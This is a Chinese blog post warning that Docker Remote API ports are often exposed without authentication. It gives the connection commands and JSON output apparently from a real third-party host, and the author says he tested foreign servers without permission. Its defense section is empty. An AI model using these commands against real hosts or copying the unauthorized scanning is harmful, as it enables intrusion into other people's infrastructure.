Docker的小问题,安全的大问题

Docker的小问题,安全的大问题

Auth: winger@gnusec

安全问题无出不在, Docker配置需倍加小心. 未授权访问, 秒秒钟被黑.

起因

Docker Remote API

Docker 守护程序可以监听客户端发起的Docker Remote API请求. 支持三种不同的Socket: unix, tcp, 和 fd.
这本来是个很好的功能, 特别是用来做集群管理的时候. 但是问题出在, 很多人在设置监听的时候, 并没有考虑安全问题, 只是简单的依葫芦画瓢开启了端口, 却没有开启验证(那些开0.0.0.0的你也是够了$_$!!!).
如果认真看完官方文档, 你会发现人家早就考虑了这个问题. 还严重提醒了.
1_docker_manual.png
然后到国内呢?
变成这样了
1_docker_cn.jpg

——简单,快捷,有活力——你在逗我吗——
3_hehe.png

当然也有比较靠谱的版本

2_Linux_Docker_CN_2.png

漏洞原型

$ sudo docker -H 0.0.0.0:5555 -d &

测试方法

由于未开启验证, 简单连接即可执行命令

docker -H tcp://0.0.0.0:2375 info
docker -H tcp://0.0.0.0:2375 ps

#docker -H  tcp://143.248.xx.xx:2375  network inspect 7fc29599xxxx

[
{
    "Name": "bridge",
    "Id": "7xxx29599122f02cxxx1ea2c6fe09a984c3434xxx1f96e763605ad02291f3b3e",
    "Scope": "local",
    "Driver": "bridge",
    "IPAM": {
        "Driver": "default",
        "Config": [
            {
                "Subnet": "172.17.0.0/16",
                "Gateway": "172.17.x.x"
            }
        ]
    },
    "Containers": {
        "66569c38de1d4b12b2xxxxf675ebcc4a4fc56f9b6b14ea73axxxxxe2de9e503": {
            "EndpointID": "xxx43511c5b1cd88xxx2ce12ee5f668f649b7b68dbxxxx13897263f8dbxxxx",
            "MacAddress": "F2:42:ac:xx:00:01",
            "IPv4Address": "172.17.0.1/16",
            "IPv6Address": ""
        },
        "a9fba0edf2677404797ca7b2bfc7273f37a53fe4167c6f76388aaxxxxxxxxxxxx": {
            "EndpointID": "cbef13f0075c8d6305a21de9135bff564642e35591b996a3e8a2b7b99d7b0a53",
            "MacAddress": "xx:42:ac:xx:00:02",
            "IPv4Address": "172.17.0.2/16",
            "IPv6Address": ""
        }
    },
    "Options": {
        "com.docker.network.bridge.default_bridge": "true",
        "com.docker.network.bridge.enable_icc": "true",
        "com.docker.network.bridge.enable_ip_masquerade": "true",
        "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
        "com.docker.network.bridge.name": "docker0",
        "com.docker.network.driver.mtu": "1462"
    }
}

]

防御方案

总结

随手测试了一些国外的服务器, 命中率接近90%.

4_LInux_Docker_test.png

默认密码, 默认设置, 这类问题看起来很简单, 但是危害确非常严重, 特别是网络未做隔离的情况下, 就能很轻松的打入企业内部.
做运维的同学更要注意些, 平时看起来没什么技术含量的小问题, 往往会成为安全的大问题.
题外话: 学技术还是老老实实看英文的吧. 很多年前流传的那个心机黑客写运维教程的梗,不是空穴来风的.